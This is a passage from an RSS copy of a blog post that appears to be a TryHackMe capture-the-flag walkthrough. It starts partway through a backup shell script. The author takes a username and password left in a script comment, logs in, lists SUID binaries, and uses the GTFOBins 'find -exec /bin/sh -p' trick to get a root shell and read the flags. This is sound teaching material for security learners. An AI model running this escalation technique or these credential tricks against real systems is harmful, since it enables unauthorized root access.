        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;ssh &lt;span class="nv"&gt;$USER&lt;/span&gt;@&lt;span class="nv"&gt;$REMOTE&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt;/&lt;span class="nv"&gt;$DATE&lt;/span&gt;/&lt;span class="nv"&gt;$i&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;then
           &lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nv"&gt;$SOURCE&lt;/span&gt;/&lt;span class="nv"&gt;$i&lt;/span&gt;
           &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="s2"&gt;"removed"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
           &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"####################"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
                &lt;span class="k"&gt;else
                    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Copy not complete"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
                    &lt;span class="nb"&gt;exit &lt;/span&gt;0
        &lt;span class="k"&gt;fi 
    done


else

    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Directory is not present"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I found a code and there is a username and password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;stoner
&lt;span class="c"&gt;#superduperp@$$no1knows&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's try to login.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fakc2x02xwvmzy78l2vl1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fakc2x02xwvmzy78l2vl1.png" alt=" " width="800" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd56ml2zqzqzcl8nx0dqr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd56ml2zqzqzcl8nx0dqr.png" alt=" " width="800" height="239"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a .secret file&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3yl656m3990vmv0pycm8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3yl656m3990vmv0pycm8.png" alt=" " width="590" height="104"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;user.txt =&amp;gt; You made it till here, well done.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we need root access to gain full control over the system. So i did some digging, and identified SUID binaries by running &lt;code&gt;find / -perm -4000 2&amp;gt;/dev/null&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kzpuw3n05iq1wlc4dmc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kzpuw3n05iq1wlc4dmc.png" alt=" " width="800" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have &lt;code&gt;/usr/bin/find&lt;/code&gt;, &lt;code&gt;/usr/bin/sudo&lt;/code&gt;, &lt;code&gt;usr/bin/passwd&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let's try &lt;code&gt;/usr/bin/find&lt;/code&gt; first. I looked at &lt;a href="https://gtfobins.org/gtfobins/find/" rel="noopener noreferrer"&gt;https://gtfobins.org/gtfobins/find/&lt;/a&gt; and tried to exploit using &lt;code&gt;find . -exec /bin/sh -p \; -quit&lt;/code&gt;. Just type &lt;code&gt;/usr/bin/&lt;/code&gt; without &lt;code&gt;find&lt;/code&gt; and paste it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/usr/bin/find . -exec /bin/sh -p \; -quit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozhjbxqel6r46n5im2re.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozhjbxqel6r46n5im2re.png" alt=" " width="800" height="102"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And now we're root user.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What did you exploit to get the privileged user?
&lt;code&gt;find&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we can get the root flag navigating &lt;code&gt;/root&lt;/code&gt; directory and print the output.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fir2nb9vgpueuxvldxfkw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fir2nb9vgpueuxvldxfkw.png" alt=" " width="660" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We got the root.txt!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;root.txt =&amp;gt; It wasn't that hard, was it?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Quick note:&lt;/strong&gt; I kept this guide clean and focused on what worked. In reality, I tested many other endpoints, forms, and pages — but showing all those dead ends would've made this too messy.&lt;/p&gt;

&lt;p&gt;I'm still learning, so this walkthrough may not be perfect. If you find an error or a better approach, please reach out — I'd genuinely appreciate the feedback.&lt;/p&gt;

&lt;p&gt;Hope you learned something useful! Questions? Feel free to ask — I'm happy to help. 👍&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.linkedin.com/in/mikail-kakabayev-5401183aa?utm_source=share_via&amp;amp;utm_content=profile&amp;amp;utm_medium=member_ios" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mikail-kakabayev&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>tryhackme</category>
    </item>
  </channel>
</rss>
